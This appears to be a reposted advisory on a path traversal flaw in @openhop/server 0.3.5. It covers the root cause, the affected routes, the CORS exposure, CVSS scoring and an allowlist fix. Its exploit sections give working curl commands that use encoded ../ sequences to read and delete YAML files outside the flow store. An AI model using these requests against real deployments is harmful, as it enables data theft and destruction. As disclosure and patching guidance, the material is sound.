Listen to this Post
FlowStore.filePath() in packages/server/src/store.ts:52–53 constructs filesystem paths.
It concatenates caller-supplied id directly into path.join.
The code returns join(this.dir, `${id}.yaml`).
No sanitization or allowlist is applied to id.
The id value comes from unauthenticated Fastify HTTP route parameters.
GET /api/flows/:id calls store.get(id) at routes.ts:306 and 333–335.
DELETE /api/flows/:id calls store.delete(id) at routes.ts:509 and 539–541.
The route parameter schema only declares type: ‘string’.
There is no pattern constraint or allowlist.
Fastify’s router find-my-way applies decodeURIComponent to route parameters.
The URL segment ..%2Fvictim is decoded to ../victim.
Node.js path.join(‘/data/flows’, ‘../victim.yaml’) normalizes to /data/victim.yaml.
This escapes the configured data directory.
Read sink: readFile(this.filePath(id), ‘utf-8’) at store.ts:78.
Delete sink: unlink(this.filePath(id)) at store.ts:105.
The read path returns YAML-parsed JSON with HTTP 200.
The delete path removes the file and returns HTTP 204.
CORS is registered with origin: true at packages/server/src/index.ts:37.
Any browser origin can make cross-origin requests.
A malicious webpage can exploit a loopback-bound instance.
Docker deployments set HOST=0.0.0.0 by default.
Remote unauthenticated exploitation is possible.
The configured flow store in the PoC is /data/flows/.
Traversal targets are /data/victim.yaml and /data/delete-me.yaml.
Attack 1 reads arbitrary .yaml files outside the flow store.
Attack 2 deletes arbitrary .yaml files reachable by the process.
CVSS Base Score is 8.3 High.
CWE-22 Path Traversal is the root weakness.
Confidentiality impact is limited to YAML files (C:L).
Integrity and availability impact from deletion are High (I:H, A:H).
Recommended fix adds FLOW_ID_PATTERN = /^[A-Za-z0-9_-]+$/.
filePath(id) should throw on invalid flow id before path.join.
This prevents path traversal in flow ID file operations.
DailyCVE Form:
Platform: @openhop/server
Version: 0.3.5 server
Vulnerability: Path Traversal CWE-22
Severity: High CVSS 8.3
date: 2026-06-20
Prediction: 2026-07-15
What Undercode Say:
Analytics:
Build from repository root docker build -f vuln-001/Dockerfile -t openhop-vuln-001 . Run with HOST=0.0.0.0 docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001 Read file outside flow store curl -i --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fvictim' Delete file outside flow store curl -i -X DELETE --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fdelete-me' Verify deletion docker exec openhop-vuln-001 sh -c 'test -e /data/delete-me.yaml && echo exists || echo deleted' Automated PoC python3 poc.py 127.0.0.1 8799
// packages/server/src/store.ts:52-53
private filePath(id: string): string {
return join(this.dir, <code>${id}.yaml</code>)
}
// Recommended fix
const FLOW_ID_PATTERN = /^[A-Za-z0-9_-]+$/
private filePath(id: string): string {
if (!FLOW_ID_PATTERN.test(id)) {
throw new Error('Invalid flow id')
}
return join(this.dir, <code>${id}.yaml</code>)
}
Exploit: (Educational Purposes!)
docker build -f vuln-001/Dockerfile -t openhop-vuln-001 . docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001 curl -i --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fvictim' curl -i -X DELETE --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fdelete-me' python3 poc.py 127.0.0.1 8799
Protection: from this CVE
const FLOW_ID_PATTERN = /^[A-Za-z0-9_-]+$/
private filePath(id: string): string {
if (!FLOW_ID_PATTERN.test(id)) {
throw new Error('Invalid flow id')
}
return join(this.dir, <code>${id}.yaml</code>)
}
Sanitize route parameters. Validate flow IDs with allowlist. Restrict CORS origin. Avoid origin: true. Bind HOST=127.0.0.1. Add authentication. Do not pass user input directly to path.join.
Impact:
Path Traversal CWE-22. Read arbitrary .yaml files accessible to the OpenHop process. Delete arbitrary .yaml files reachable by the process. Leak secrets, configuration data, and YAML-serialized data. Cause data loss or service disruption. Local users exploitable via malicious webpage due CORS origin: true. Docker deployments HOST=0.0.0.0 are remotely exploitable without authentication. C:L, I:H, A:H. CVSS 8.3 High.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
